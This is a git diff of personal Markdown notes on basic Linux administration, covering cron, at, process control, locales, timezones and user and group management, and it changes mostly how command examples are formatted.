Compare commits

..

No commits in common. "6f54bad403bf87cbbc7718369d4e7b534f4859e6" and "42767fe41f86761b7ce67838e7cb3c34c0a998f6" have entirely different histories.

112 changed files with 3393 additions and 2761 deletions

View File

@ -26,44 +26,32 @@ The chronology should never branch.
If `gitea` can use three different types of database, the documentation should simply pick one and continue instructions from there. If `gitea` can use three different types of database, the documentation should simply pick one and continue instructions from there.
Repetition works better than a reference - if a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases. Repetition works better than a reference - if a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases.
### Closing
Introductory documents should show anything required to cleanly uninstall a program, without leaving bulky configuration files behind.
## Three Input Types ## Three Input Types
There are three types of examples: There are three types of examples:
Fixed input: Fixed input:
```bash > ls
ls
Arbitrary Input shows the non-fixed input in italics:
> ls *myFile.txt*
Output shows as unformatted text:
``` ```
LK img
Anything with arbitrary input should be shown as a variable. Mail kn
Projects music
```bash
ls $FILE
``` ```
Non-commands (e.g. output) should be shown as quoted text:
> LK img
> Mail kn
> Projects music
# Example # Example
``` ```
How to see which websites you're actively accessing: How to see which websites you're actively accessing:
` ` `bash > ss -tr dst :443
ss -tr dst :$PORT
` ` `
> State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
> ESTAB 0 0 192.168.0.14:42476 149.154.167.91:https
> ESTAB 0 0 192.168.0.14:43644 104.17.90.199:https
``` ```
@ -88,5 +76,5 @@ This started as a few personal notes, and will probably continue to look like th
It's a bit of a mess. It's a bit of a mess.
Systemd is taken as a default. Systemd is taken as a default.
Non-systemd commands are mentioned when required for a distro, e.g. runit for Void Linux. Non-systemd commands we relegate to their respective distros, e.g. runit for Void Linux.

View File

@ -4,45 +4,29 @@ tags: [ "Documentation", "Basics" ]
--- ---
Install with: Install with:
```bash > sudo apt install at
sudo apt install at
```
Enable the daemon service with: Enable the daemon service with:
```bash > sudo systemctl enable --now atd
sudo systemctl enable --now atd
```
Then jobs can be specified with absolute time, such as: Then jobs can be specified with absolute time, such as:
```bash > at 16:20
at 16:20
```
```bash > at noon
at noon
```
```bash > at midnight
at midnight
```
```bash > at teatime
at teatime
```
Type in your command, e.g.: Type in your command, e.g.:
```bash > touch /tmp/myFile.txt
touch /tmp/$FILE.txt
```
The jobs can also be specified relative to the current time: The jobs can also be specified relative to the current time:
```bash > at now +15 minutes
at now +15 minutes
```
Finally, accept the jobs with ^D. Finally, accept the jobs with ^D.
@ -50,28 +34,24 @@ Finally, accept the jobs with ^D.
Display a list of commands to run with: Display a list of commands to run with:
```bash > atq
atq
```
> 2 Sat Oct 20 16:00:00 2018 a roach-1 `2 Sat Oct 20 16:00:00 2018 a roach-1`
This will print all pending IDs. Remove a job by the ID with: This will print all pending IDs. Remove a job by the ID with:
```bash > atrm 2
atrm 2
```
Check `/var/spool/atd/` to see the jobs. Check /var/spool/atd/
## Automation ## Automation
Automatically add a job for later, by setting the date, then using echo for the command. Automatically add a job for later, by setting the date, then using echo for the command.
```bash > t="$(date -d "2 minutes" +%R)"
t="$(date -d "2 minutes" +%R)"
echo "fortune > ~/$FILE" | at "$t" > echo "fortune > ~/file" | at "$t"
watch cat $FILE
``` > watch cat file
The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`. The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`.

View File

@ -9,136 +9,91 @@ Don't worry about understanding any of it, just type it in and the habit forms p
You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'): You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'):
```bash > pwd
pwd
```
Have a look at what is here: Have a look at what is here:
```bash > ls
ls
```
If you get no response, the list of items is "", meaning "nothing here". If you get no response, the list of items is "", meaning "nothing here".
Have a look at **a**ll the files: Have a look at **a**ll the files:
```bash > ls -a
ls -a
```
```bash `. ..`
. ..
```
So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you'). So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you').
Change directory (`cd`) down one level: Change directory (`cd`) down one level:
```bash > cd ..
cd ..
```
Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then: Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then:
```bash > cd bob
cd bob
```
Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root: Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root:
```bash > cd /
cd /
```
Do `ls` again and `cd` into `etc`. Look at how much space those folders are taking up: Do `ls` again and change into `etc`. Look at how much space those folders are taking up:
```bash > du iptables
du iptables
```
That's the number of kilobytes the file is taking up.
Do the same again, but in a human-readable format:
```bash That's the number of kilobytes the file is taking up. Do the same again, but in a human-readable format:
du -h iptables
```
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. > du -h iptables
Have a look at the manual and try another command:
```bash The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. Have a look at the manual and try another command:
man du
``` > man du
Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found. Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found.
Now you can try to gain super-powers and take over the system: Now you can try to gain super-powers and take over the system:
```bash > sudo -i
sudo -i
```
At this point, you are 'root'. At this point, you are 'root'. All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine. Best to exit out of the root account:
All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine.
Best to exit out of the root account:
```bash > exit
exit
```
Go find a file that isn't a directory. You can tell which is which with: Go find a file that isn't a directory. You can tell which is which with:
```bash > ls -l
ls -l
```
A directory starts with a 'd', like this: A directory starts with a 'd', like this:
```bash `drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/`
drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/
```
A standard file starts with '-', like this: A standard file starts with '-', like this:
```bash
`-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname`
```
Look inside the file /etc/hostname to find out your computer's name: Look inside the file /etc/hostname to find out your computer's name:
```bash > cat /etc/hostname
cat /etc/hostname
```
Print out the words "hello world": Print out the words "hello world":
```bash > echo "hello world"
echo "hello world"
```
Move back to your home directory: Move back to your home directory:
```bash > cd
cd
```
Take the words 'hello world', and put them in 'my_file': Take the words 'hello world', and put them in 'my_file':
```bash > echo 'hello world' > my_file
echo 'hello world' > my_file
```
Measure the disk usage of that file, then put the results at the bottom of the file: Measure the disk usage of that file, then put the results at the bottom of the file:
```bash > du my_file >> my_file
du $FILE >> $FILE
```
And check the results: And check the results:
```bash > cat my_file
cat $FILE
```
# Autocompletion # Autocompletion
@ -148,70 +103,50 @@ Press tab after typing a few keys and bash will guess what you're trying to typ
Look at your file's owner: Look at your file's owner:
```bash > ls -l my_file
ls -l $FILE
```
If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'. If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'.
Take your file and change the owner to root: Take your file and change the owner to root:
```bash > sudo chown root my_file
sudo chown root $FILE
```
Change the same file so it's owned by the group 'audio': Change the same file so it's owned by the group 'audio':
```bash > sudo chown :audio my_file
sudo chown :audio $FILE
```
Check you did that correctly: Check you did that correctly:
```bash > ls -l my_file
ls -l my_file
```
> -rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file `-rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file`
Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it: Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it:
```bash > rm my_file
rm $FILE
```
You'll see you're not allowed, because you don't own it. You'll see you're not allowed, because you don't own it.
Look at which groups you're in: Look at which groups you're in:
```bash > groups
groups
```
Change the file so that members of the audio group can write to the file: Change the file so that members of the audio group can write to the file:
```bash > sudo chmod g+w my_file
sudo chmod g+w $FILE
```
Check you got it right with `ls -l`: Check you got it right with `ls -l`:
```bash > -rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
-rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
```
Try to delete the file again: Try to delete the file again:
```bash > rm my_file
rm my_file
```
If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups. If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups.
Use `-a` to **a**ppend, and `-G`, to say you're modifying groups: Use `-a` to **a**ppend, and `-G`, to say you're modifying groups:
```bash > sudo usermod -a -G audio [ your username here ]
sudo usermod -a -G audio [ your username here ]
```
Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone. Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone.
@ -219,83 +154,59 @@ Now you should be able to remove (delete) the file. Remember, that using 'rm fi
Make a directory called 'new test': Make a directory called 'new test':
```bash > mkdir 'new test'
mkdir 'new test'
```
Make two directories, called 'A', and 'Z': Make two directories, called 'A', and 'Z':
```bash > mkdir A Z
mkdir A Z
```
Make a single directory called 'A Z' Make a single directory called 'A Z'
```bash > mkdir 'A Z'
mkdir 'A Z'
```
# Text Searches # Text Searches
Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt': Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt':
```bash > du -sch * > A/'disk usage'.txt
du -sch * > A/'disk usage'.txt
```
Look at your file: Look at your file:
```bash > cat A/'disk usage.txt'
cat A/'disk usage.txt'
```
If you think you have too much information, use `grep` to just get the one line of text you want: If you think you have too much information, use `grep` to just get the one line of text you want:
```bash > grep total A/disk\ usage.txt
grep total A/disk\ usage.txt
```
The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read. The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read.
Start the manual: Start the manual:
```bash > man du
man du
```
Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c` Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c`
Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human': Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human':
```bash > man ls | grep human
man ls | grep human
```
Now use that flag that you've found in combinatin with the `-l` flag to look at a file. Now use that flag that you've found in combinatin with the `-l` flag to look at a file.
Remove the directory 'Z': Remove the directory 'Z':
```bash > rmdir Z
rmdir Z
```
Remove the directory 'Z': Remove the directory 'Z':
```bash > rmdir Z
rmdir Z
```
And then remove all the rest: And then remove all the rest:
```bash > rmdir *
rmdir *
```
The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself: The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself:
```bash > rm -r A
rm -r A
```
# Installation # Installation
@ -303,48 +214,34 @@ You get a package manager which installs programs, fonts, et c.
If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`. If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`.
If unsure, ask where a program is: If unsure, ask where a program is:
```bash > whereis yum
whereis yum
```
```bash > whereis apt
whereis apt
```
If you get a hit, you can use whatever program that is to install things. If you get a hit, you can use whatever program that is to install things.
Set a reminder of your package manager: Set a reminder of your package manager:
```bash > echo my package manager is yum | lolcat
echo my package manager is yum | lolcat
```
If that failed it's because you don't have `lolcat` installed. If that failed it's because you don't have `lolcat` installed.
Install lolcat: Install lolcat:
```bash > sudo apt install lolcat
sudo apt install lolcat
```
Try the same command again. Try the same command again.
Search for things you want, like `libreoffice`, or `gimp`: Search for things you want, like `libreoffice`, or `gimp`:
```bash > apt search libreoffice
apt search libreoffice
```
... then install one of them with: ... then install one of them with:
```bash > apt install [ thing ]
apt install $PROGRAM
```
Remove `lolcat`, because it's useless: Remove `lolcat`, because it's useless:
```bash > sudo apt remove lolcat
sudo apt remove lolcat
```
... and that's pretty much it. You can move, create, destroy, install things, and look things up. ... and that's pretty much it. You can move, create, destroy, install things, and look things up.

View File

@ -5,39 +5,27 @@ tags: [ "Documentation", "Basics" ]
Show system time: Show system time:
```bash > date
date
```
Show hardware time: Show hardware time:
```bash > sudo hwclock -r
sudo hwclock -r
```
Change system time to match hardware time: Change system time to match hardware time:
```bash > sudo hwclock --hctosys
sudo hwclock --hctosys
```
Change hardware time to match system time: Change hardware time to match system time:
```bash > sudo hwclock --systohc
sudo hwclock --systohc
```
Manually set the hardware time to a specified date: Manually set the hardware time to a specified date:
```bash > sudo hwclock --set --date="8/25/19 13:30:00"
sudo hwclock --set --date="8/25/19 13:30:00"
```
## Normal Date ## Normal Date
```bash > date +%d/%m/%y
date +%d/%m/%y
```
# Unix Time # Unix Time
@ -45,9 +33,7 @@ Computers started counting time on January 1st, 1970, and added one second-per-s
Track the time in Unix-time: Track the time in Unix-time:
```bash > date +%s
date +%s
```
# Network Time Providers # Network Time Providers
@ -55,13 +41,9 @@ Servers which take their time from an observatory we call Stratum 1 servers. Se
Install ntp with: Install ntp with:
```bash > sudo apt-get install -y ntp
sudo apt-get install -y ntp
```
The shell command for this is `ntpq`. Monitor the service providers using: The shell command for this is `ntpq`. Monitor the service providers using:
```bash > ntpq -p
ntpq -p
```

View File

@ -41,28 +41,29 @@ case $CRE in
owlbears | monsters ) echo "Really you're a wizard fan" owlbears | monsters ) echo "Really you're a wizard fan"
;; ;;
esac esac
```
# While and Until # While and Until
This prints from 1 until 9. This prints from 1 until 9.
```bash > COUNTER=1
COUNTER=1
while [ $COUNTER -lt 2 ]; do > while [ $COUNTER -lt 2 ]; do
> ((COUNTER++)) > ((COUNTER++))
> echo $COUNTER > echo $COUNTER
> done > done
``` ```
There's also 'until', which stops when something is true, rather than keeping going when something is true. There's also 'until', which stops when something is true, rather than keeping going when something is true.
# For # For
```bash > for i in $( ls ); do
for i in $( ls ); do
> du -sh $i > du -sh $i
> done > done
```
# Sequences # Sequences
@ -70,19 +71,13 @@ The sequences tool counts up from X in jumps of Y to number Z.
Count from 1 to 10. Count from 1 to 10.
```bash > seq 10
seq 10
```
Count from 4 to 11. Count from 4 to 11.
```bash > seq 4 11
seq 4 11
```
Count from 1 to 100 in steps of 5. Count from 1 to 100 in steps of 5.
```bash > seq 1 5 100
seq 1 5 100
```

View File

@ -6,29 +6,24 @@ tags: [ "Documentation", "Basics" ]
The crontab program might have various names, like `cronie` or `crond`. The crontab program might have various names, like `cronie` or `crond`.
```bash > sudo apt search -n ^cron
sudo apt search -n ^cron
```
Once installed, search for the service name, and start it. Once installed, search for the service name, and start it.
```bash > sudo systemctl list-unit-files | grep cron
sudo systemctl list-unit-files | grep cron
```
```bash > sudo systemctl enable --now cron
sudo systemctl enable --now cron
```
You can *e*dit your crontab with: You can *e*dit your crontab with:
```bash > crontab -e
crontab -e
``` ```
39 */3 * * * /usr/bin/updatedb
> 39 */3 * * * /usr/bin/updatedb ```
## Syntax ## Syntax
`* * * * *` `* * * * *`
@ -39,33 +34,29 @@ These five points refer to:
So '3pm every Sunday' would be: So '3pm every Sunday' would be:
> 0 15 * * 7 `0 15 * * 7`
Here 'Sunday' is indicated by "7", and '3pm' is 'the 15th hour'. Here 'Sunday' is indicated by "7", and '3pm' is 'the 15th hour'.
The minute is '0' (i.e. '0 minutes past three pm'). The minute is '0' (i.e. '0 minutes past three pm').
Doing the same thing, but only in February, would be: Doing the same thing, but only in February, would be:
> 0 15 * 2 7 `0 15 * 2 7`
### Full Paths ### Full Paths
Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is. Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is.
Instead, find out where it is: Instead, find out where it is:
```bash > type -P apt
type -P apt
```
`/usr/bin/apt` `/usr/bin/apt`
Then put that into the crontab: Then put that into the crontab:
```bash > sudo crontab -e
sudo crontab -e
```
> 40 */3 * * * /usr/bin/apt update -y `40 */3 * * * /usr/bin/apt update -y`
This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40. This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40.
@ -74,17 +65,13 @@ This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour
You can execute a script as root by putting it into a directory, instead of in the tab. You can execute a script as root by putting it into a directory, instead of in the tab.
Look at the available cron directories: Look at the available cron directories:
```bash > ls /etc/cron.\*
ls /etc/cron.\*
```
### Testing with runparts ### Testing with runparts
Run-parts runs all executable scripts in a directory. Run-parts runs all executable scripts in a directory.
```bash > run-parts /etc/cron.hourly
run-parts /etc/cron.hourly
```
## Tips ## Tips
@ -97,16 +84,12 @@ First add `HOME=/home/user`, then you can use syntax like this:
*Remember to test the script by executing that line first*: *Remember to test the script by executing that line first*:
```bash > $HOME/.scripts/myScript.sh
$HOME/.scripts/myScript.sh
```
You can also add your regular path to your crontab as a variable (see example below). You can also add your regular path to your crontab as a variable (see example below).
If you're using vim as the editor, just run this at the top of your crontab: If you're using vim as the editor, just run this at the top of your crontab:
```bash > :r!echo PATH=$PATH
:r!echo PATH=$PATH
```
### `date` Commands ### `date` Commands

View File

@ -10,25 +10,17 @@ Kernel modules live in lib/modules/$(uname -r)
Load them with Load them with
```bash > sudo modprobe ath9k
sudo modprobe ath9k
```
Or remove one with Or remove one with
```bash > sudo modprove uvcvideo
sudo modprove uvcvideo
```
The PC's irritating speaker beep can be really annoying. Disable it with: The PC's irritating speaker beep can be really annoying. Disable it with:
```bash > sudo modprobe -r pcspeaker
sudo modprobe -r pcspeaker
```
Permanently disable a module by blacklisting it in `/etc/modprobe.d`: Permanently disable a module by blacklisting it in `/etc/modprobe.d`:
```bash > echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
```

View File

@ -7,9 +7,7 @@ If you want to kill a program in a graphical environment, open a terminal and ty
# Graphical Programs # Graphical Programs
```bash > xkill
xkill
```
Then click on the application which you want to kill. Then click on the application which you want to kill.
@ -17,31 +15,23 @@ Then click on the application which you want to kill.
To kill a program, find it with: To kill a program, find it with:
```bash > pgrep discord
pgrep discord
```
This will give you the UUID, e.g. `19643`. This will give you the UUID, e.g. `19643`.
Kill the program with: Kill the program with:
```bash > kill 19643
kill 19643
```
# Types of Kill # Types of Kill
To see an ordered list of termination signals: To see an ordered list of termination signals:
```bash > kill -l
kill -l
```
> 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
> 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
> 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
You can select these levels with a '- number'. You can select these levels with a '- number'.
@ -49,24 +39,18 @@ Higher numbers are roughly equivalent to insistence.
For example: For example:
```bash > kill -1 3498
kill -1 3498
```
This roughly means 'maybe stop the program, if you can, maybe reload'. This roughly means 'maybe stop the program, if you can, maybe reload'.
Or the famous: Or the famous:
```bash > kill -9 3298
kill -9 3298
```
This means 'kill the program dead, now, no questions, dead'. This means 'kill the program dead, now, no questions, dead'.
**Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless. **Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless.
# Sobriquets
- A dead program which sits there doing nothing is known as a 'zombie'. - A dead program which sits there doing nothing is known as a 'zombie'.
- A program which is run by another program is called a 'child program'. - A program which is run by another program is called a 'child program'.
- A child whose parent program is dead is called an 'orphan'. - A child whose parent program is dead is called an 'orphan'.

View File

@ -4,16 +4,12 @@ tags: [ "Documentation", "Basics" ]
--- ---
Link from X to Y. Link from X to Y.
```bash > ln -s X ../otherdir/Y
ln -s X ../otherdir/Y
```
If you want a hard link, this will make a single file exist in two locations. If you want a hard link, this will make a single file exist in two locations.
If it is deleted in one location, it continues to exist in the other. If it is deleted in one location, it continues to exist in the other.
```bash > ln *X* *Y*
ln *X* *Y*
```
Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`). Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`).

View File

@ -3,40 +3,29 @@ title: "locale"
tags: [ "Documentation", "Basics" ] tags: [ "Documentation", "Basics" ]
--- ---
Your locale tells the computer your location, preferred time-and-date format, standard language, papersize, et c.
A list of supported locales is available at /usr/share/i18n/SUPPORTED A list of supported locales is available at /usr/share/i18n/SUPPORTED
See a full list with: See a full list with:
```bash > cat /usr/share/i18n/SUPPORTED
cat /usr/share/i18n/SUPPORTED
```
Take the first portion to generate full locale information for a region: Take the first portion to generate full locale information for a region:
```bash > locale-gen ru_RU.UTF-8
locale-gen ru_RU.UTF-8
```
Then use this for the current shell session with Then use this for the current shell session with
```bash > LANG=ru_RU.utf8
LANG=ru_RU.utf8
```
Expand this to the entire system with: Expand this to the entire system with:
```bash > export LANG=ru_RU.utf8
export LANG=ru_RU.utf8
```
You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc. You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc.
Make it permanent for the entire system by editing: Make it permanent for the entire system by editing:
```bash > sudo vim /etc/defaults/locale
sudo vim /etc/defaults/locale
```
# Variables # Variables

View File

@ -6,9 +6,7 @@ tags: [ "Documentation", "Basics" ]
`type` shows what kind of thing you're running, be it an alias, function, or binary program. `type` shows what kind of thing you're running, be it an alias, function, or binary program.
```bash > type cmus
type cmus
```
# Whereis the Program # Whereis the Program
@ -18,24 +16,18 @@ Ask where the `angband` program is, along with all its configuration files:
Also `which` shows where a binary file (the program) is, Also `which` shows where a binary file (the program) is,
```bash > which cmus
which cmus
```
# Quick Search for Files # Quick Search for Files
You'll need to set up `locate` for this by installing `mlocate`. You'll need to set up `locate` for this by installing `mlocate`.
`mlocate` needs a list of all files on the machine, so run: `mlocate` needs a list of all files on the machine, so run:
```bash > sudo updatedb
sudo updatedb
```
Then to find a file called 'my-cats.jpg', run: Then to find a file called 'my-cats.jpg', run:
```bash > locate cats
locate cats
```
For best results, run `updatedb` regularly, perhaps in crontab. For best results, run `updatedb` regularly, perhaps in crontab.

View File

@ -6,33 +6,23 @@ tags: [ "Documentation", "Basics" ]
See running items in current terminal with See running items in current terminal with
```bash > ps
ps
```
or more with or more with
```bash > ps -a
ps -a
```
Or the entire system with Or the entire system with
```bash > ps -e
ps -e
```
Or the entire system with more information, BSD style, with: Or the entire system with more information, BSD style, with:
```bash > ps aux
ps aux
```
And then search for a particular program with And then search for a particular program with
```bash > ps aux | grep cmus
ps aux | grep cmus
```
# Jobs # Jobs
@ -40,21 +30,15 @@ Pause a job with ^z. Put it in the background with the '&' suffix.
List jobs in the current shell with List jobs in the current shell with
```bash > jobs
jobs
```
And then you can pull number 1 up again with And then you can pull number 1 up again with
```bash > fg 1
fg 1
```
Or continue running a stopped job with: Or continue running a stopped job with:
```bash > bg 1
bg 1
```
# Nice # Nice
@ -62,31 +46,21 @@ This changes how nice a program is, from -20 to 19.
Install a program, but nicely, at nice value '10': Install a program, but nicely, at nice value '10':
```bash > nice -10 sudo apt -y install libreoffice
nice -10 sudo apt -y install libreoffice
```
Aggressively use Steam, with a nice value of '-13'. Aggressively use Steam, with a nice value of '-13'.
```bash > nice --13 steam&
nice --13 steam&
```
Find out that Steam's fucking everything up, so you change its nice value with 'renice': Find out that Steam's fucking everything up, so you change its nice value with 'renice':
```bash > renice --5 -p 3781
renice --5 -p 3781
```
Nerf all of roach-1's processes: Nerf all of roach-1's processes:
```bash > renice 10 -u roach-1
renice 10 -u roach-1
```
... or the entire group ... or the entire group
```bash > renice -14 -g hackers
renice -14 -g hackers
```

View File

@ -6,9 +6,7 @@ tags: [ "Documentation", "Basics" ]
Set time to synchronize with an ntp server: Set time to synchronize with an ntp server:
```bash > timedatectl set-ntp true
timedatectl set-ntp true
```
This info stays in `/usr/share/zoneinfo`. This info stays in `/usr/share/zoneinfo`.
@ -18,9 +16,7 @@ Local time is kept in /etc/localtime.
According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so: According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so:
```bash > sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not. ...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not.
@ -28,33 +24,23 @@ sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
See local time, language and character settings with: See local time, language and character settings with:
```bash > locale
locale
```
List available locales with: List available locales with:
```bash > locale -a
locale -a
```
To see additional locales which are available (but not necessarily installed): To see additional locales which are available (but not necessarily installed):
```bash > cat /usr/share/i18n/SUPPORTED
cat /usr/share/i18n/SUPPORTED
```
Set a supported locale with: Set a supported locale with:
```bash > locale-gen pl_PL.UTF-8
locale-gen pl_PL.UTF-8
```
Then set that language, with: Then set that language, with:
```bash > LANG=pl_PL.UTF-8
LANG=pl_PL.UTF-8
```
... then reboot. ... then reboot.
@ -62,9 +48,7 @@ LANG=pl_PL.UTF-8
Glimpse an overview with: Glimpse an overview with:
```bash > ntpq -p
ntpq -p
```
Usually this is run as a service, so just start that service. Usually this is run as a service, so just start that service.

View File

@ -6,133 +6,91 @@ tags: [ "Documentation", "Basics" ]
Let's get some entries with 'getent', e.g. passwd or group. Let's get some entries with 'getent', e.g. passwd or group.
```bash > getent passwd
getent passwd
```
```bash > getent group
getent group
```
Obviously: Obviously:
```bash > getent shadow
getent shadow
```
## Examples ## Examples
```bash > sudo adduser maestro
sudo adduser maestro
```
add user 'maestro' add user 'maestro'
This depends upon the settings in the /etc/default/useradd file and /etc/login.defs This depends upon the settings in the /etc/default/useradd file and /etc/login.defs
```bash > sudo useradd -m pinkie
sudo useradd -m pinkie
```
add user 'pinkie' with a home directory add user 'pinkie' with a home directory
```bash > sudo adduser -m -e 2017-04-25 temp
sudo adduser -m -e 2017-04-25 temp
```
add expiry date to user add expiry date to user
```bash > userdel maestro
userdel maestro
```
delete maestro delete maestro
```bash > userdel -r maestro
userdel -r maestro
```
delete maestro and hir homefolder delete maestro and hir homefolder
```bash > groups
groups
```
find which group you are in find which group you are in
```bash > id
id
```
same same
```bash > id -Gn maestro
id -Gn maestro
```
Find which groups maestro is in Find which groups maestro is in
```bash > deluser --remove-home maestro
deluser --remove-home maestro
```
delete user maestro delete user maestro
```bash > usermod -aG sudo maestro
usermod -aG sudo maestro
```
Add user maestro to group sudo: add user maestro to group sudo
```bash > cat /etc/passwd
cat /etc/passwd
```
list users' passwords (and therefore users) list users' passwords (and therefore users)
```bash > groupadd awesome
groupadd awesome
```
create the group 'awesome' create the group 'awesome'
Passwords are stored in /etc/shadow. passwords are stored in /etc/shadow.
There are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable. there are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
```bash > passwd -l bin
passwd -l bin
```
Lock the user 'bin'. lock the user 'bin'
```bash > more /etc/passwd | grep games
more /etc/passwd | grep games
```
we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match. we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match.
```bash > groupdel learners | delete the group 'learners'
groupdel learners | delete the group 'learners'
```
```bash > gpasswd -d pi games | remove user 'pi' from the group 'games'
gpasswd -d pi games | remove user 'pi' from the group 'games'
```
```bash > id games
id games
```
find the id number of group 'games' (60) find the id number of group 'games' (60)
```bash > usermod -aG sudo maestro
usermod -aG sudo maestro
```
add user to group 'maestro' add user to group 'maestro'
@ -156,9 +114,7 @@ Alternatively, change the shell in /etc/passwd.
Usermod also lets you change a user's username: Usermod also lets you change a user's username:
```bash > usermod -l henry mark
usermod -l henry mark
```
However, this will not change the home directory. However, this will not change the home directory.
@ -170,9 +126,7 @@ usermod -L henry
-G or -groups adds the user to other groups: -G or -groups adds the user to other groups:
```bash > usermod -G sudo henry
usermod -G sudo henry
```
-s adds the user to a shell. -s adds the user to a shell.
@ -186,53 +140,45 @@ In /etc/group, a group file may look like this:
We can use groupmod, like like usermod, e.g. to change a name: We can use groupmod, like like usermod, e.g. to change a name:
```bash > groupmod -n frontoffice backoffice
groupmod -n frontoffice backoffice
```
Delte a group: Delte a group:
```bash > groupdel frontoffice
groupdel frontoffice
```
# Logins # Logins
See list of logged on users. See list of logged on users.
```bash > w
w
```
See last logons: See last logons:
```bash > last
last
```
or all logon attempts, including bad attempts: or all logon attempts, including bad attempts:
```bash > lastb
lastb
```
List recently accessed files: List recently accessed files:
```bash > last -d
last -d
```
See files opened by steve See files opened by steve
```bash > lsof -t -u steve
lsof -t -u steve
```
See files opened by anyone but steve See files opened by anyone but steve
```bash > lsof -u ^steve
lsof -u ^steve
``` Fuser can also track people loggingin:
> fuser /var/log/syslog
... and fuser can kill everything accessing the home directory:
> fuser -km /home
# Looking for Dodgy Files # Looking for Dodgy Files
